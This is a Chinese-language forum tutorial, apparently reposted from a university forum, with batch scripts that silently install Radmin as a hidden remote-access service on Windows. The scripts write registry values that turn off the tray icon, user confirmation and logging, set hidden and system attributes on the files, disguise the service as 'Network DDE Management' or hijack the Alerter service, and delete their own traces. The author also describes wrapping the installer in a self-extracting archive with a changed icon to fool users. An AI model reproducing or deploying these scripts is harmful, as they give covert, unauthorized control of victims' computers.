再來說批處理，在radmin的配置界面安裝服務，然后將[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]主鍵導出，接著把它用批處理命令寫入server.reg這個自己建立的注冊表文件中，注意關閉回顯。這之前先把services注冊成服務，注意選擇安靜模式，這樣注冊的問題在于沒有了[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]主鍵的配置信息，所以我們才要后來補上。
@echo off
@services.exe /install /silence
echo Windows Registry Editor Version 5.00 > c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]>> c:\server.reg
echo "Port"=hex:fe,07,00,00>> c:\server.reg
echo "Timeout"=hex:0a,00,00,00>> c:\server.reg
echo "EnableLogFile"=hex:00,00,00,00>> c:\server.reg
echo "LogFilePath"="c:\\logfile.txt">> c:\server.reg
echo "FilterIp"=hex:00,00,00,00>> c:\server.reg
echo "DisableTrayIcon"=hex:01,00,00,00>> c:\server.reg
echo "AutoAllow"=hex:00,00,00,00>> c:\server.reg
echo "AskUser"=hex:00,00,00,00>> c:\server.reg
echo "EnableEventLog"=hex:00,00,00,00>> c:\server.reg
echo "NTAuthId"=hex:02,00,00,00>> c:\server.reg
echo "NTAuthEnabled"=hex:00,00,00,00>> c:\server.reg
echo "Parameter"=hex:0d,6f,92,ce,c2,9c,9f,0a,fb,6a,6a,54,65,15,3e,53>> c:\server.reg>>
@regedit /s c:\server.reg

寫完后用@regedit /s c:\server.reg 這個語句安靜地將我們寫好的注冊表文件導入
@net start r_server
@attrib +r +h +s %systemroot%\system32\WBEM\services.exe
@attrib +r +h +s %systemroot%\system32\WBEM\Admdll.dll
@attrib +r +h +s %systemroot%\system32\WBEM\raddrv.dll

接著啟動r_server服務，因為默認安裝的服務名是r_server，啟動之后才能改它的顯示名稱。還做了一個工作就是加了只讀，系統和隱藏屬性，這步工作你可以做，也可以不做。
下面來改注冊表的描述名稱：
echo Windows Registry Editor Version 5.00 > c:\ip.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\r_server] >> c:\ip.reg
echo "Description"="動態數據交換的網絡傳輸的管理服務。">> c:\ip.reg
@regedit /s c:\ip.reg

是不是很具有誘惑力？
接著是改顯示名稱和一些掃尾工作

@del c:\ip.reg /f /q
@del c:\server.reg /f /q
@sc config r_server displayname= "Network DDE Management"
@del %systemroot%\system32\WBEM\sc.exe /f /q
@del %systemroot%\system32\WBEM\2.bat /f /q

顯示名稱要用到sc，用寫注冊表的方法是行不通的，我試過了，注意sc的用法，不會地可以查資料。我起的顯示名稱是不是同樣具有誘惑力？哈哈!奸笑中……
試著運行一下那個可愛的自解壓文件（因為換了圖標，所以很像普通的可執行文件），會蹦出cmd窗口運行一會兒，不小心看一下就過去了，當然這也是有待改進的地方，本人材疏學淺，哪位高人如果能作出了不閃的效果不要忘了跟我說一聲哦！調出任務管理器，可以看到有2個services，結束試試？都是關鍵進程，哈哈，目的達到了。你不是一直都想要做一個不容易被結束的進程嗎？服務是一個很好的選擇哦！
這里只是做了一個示范，大家看懂了之后可以盡你的想象力自由發揮，做一個說不定連我都會被忽悠過去的服務哦！
接著再來做替換服務，以Alerter為例吧，Alerter服務提供系統管理級警報的服務，不開也沒什么太大影響，而且默認是自啟動的哦！實際上我們將安裝好后的radmin服務的配置替換alter的配置就可以了，這是我試驗后得出的結論。接著上面的，把[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\r_server]鍵值導出，這里取名叫alerter.reg，那么我們的批處理就是這么寫了：
@echo off
echo Windows Registry Editor Version 5.00 > c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]>> c:\server.reg
echo "Port"=hex:fe,07,00,00>> c:\server.reg
echo "Timeout"=hex:0a,00,00,00>> c:\server.reg
echo "EnableLogFile"=hex:00,00,00,00>> c:\server.reg
echo "LogFilePath"="c:\\logfile.txt">> c:\server.reg
echo "FilterIp"=hex:00,00,00,00>> c:\server.reg
echo "DisableTrayIcon"=hex:01,00,00,00>> c:\server.reg
echo "AutoAllow"=hex:00,00,00,00>> c:\server.reg
echo "AskUser"=hex:00,00,00,00>> c:\server.reg
echo "EnableEventLog"=hex:00,00,00,00>> c:\server.reg
echo "NTAuthId"=hex:02,00,00,00>> c:\server.reg
echo "NTAuthEnabled"=hex:00,00,00,00>> c:\server.reg
echo "Parameter"=hex:0d,6f,92,ce,c2,9c,9f,0a,fb,6a,6a,54,65,15,3e,53>> c:\server.reg
@regedit /s c:\server.reg
@regedit /s %systemroot%\system32\WBEM\alerter.reg
@attrib +r +h +s %systemroot%\system32\WBEM\services.exe
@attrib +r +h +s %systemroot%\system32\WBEM\Admdll.dll
@attrib +r +h +s %systemroot%\system32\WBEM\raddrv.dll
@del c:\server.reg /f /q
@del %systemroot%\system32\WBEM\alerter.reg /f /q
@del %systemroot%\system32\WBEM\3.bat /f /q
本測試在2003server上通過。
本文來自: 中國地質大學江城學院論壇(www.jccug.net) 詳細出處參考：http://www.jccug.net/thread-3833-1-3.html